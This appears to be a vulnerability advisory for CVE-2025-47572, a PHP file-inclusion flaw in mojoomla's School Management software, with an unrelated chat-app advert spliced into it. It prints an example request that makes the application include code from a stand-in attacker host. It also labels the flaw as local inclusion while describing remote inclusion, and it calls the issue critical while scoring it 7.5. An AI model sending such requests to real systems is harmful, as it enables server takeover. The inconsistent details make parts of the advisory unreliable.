Overview
CVE-2025-47572 is a critical vulnerability affecting the School Management software by mojoomla. The vulnerability arises due to improper control of the filename for Include/Require statement in the PHP program, leading to a potential PHP Local File Inclusion (LFI). This vulnerability poses a significant threat as it allows an attacker to potentially compromise the system or cause data leakage.
Vulnerability Summary
CVE ID: CVE-2025-47572
Severity: High / 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
School Management | Up to 93.0.0
How the Exploit Works
The exploit takes advantage of the software’s improper control of the filename for Include/Require statement in PHP. An attacker could manipulate the PHP program to include or require a file located on a remote server that the attacker controls. This could lead to the execution of arbitrary PHP code, giving the attacker the potential to compromise the system or cause data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This example assumes a vulnerable PHP file that uses user-supplied input to build a file path for inclusion:
GET /vulnerable_file.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.comIn this example, the attacker provides a URL (http://attacker.com/malicious_file) as a parameter. If the application doesn’t properly validate or sanitize this input, the attacker’s file would be included and its code executed.
Mitigation Guidance
To mitigate this vulnerability, users of the affected software are advised to apply patches provided by the vendor as soon as they’re available. In the meantime, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can potentially detect and block attempts to exploit this vulnerability. Additionally, it is recommended to sanitize and validate inputs to prevent malicious inclusions.
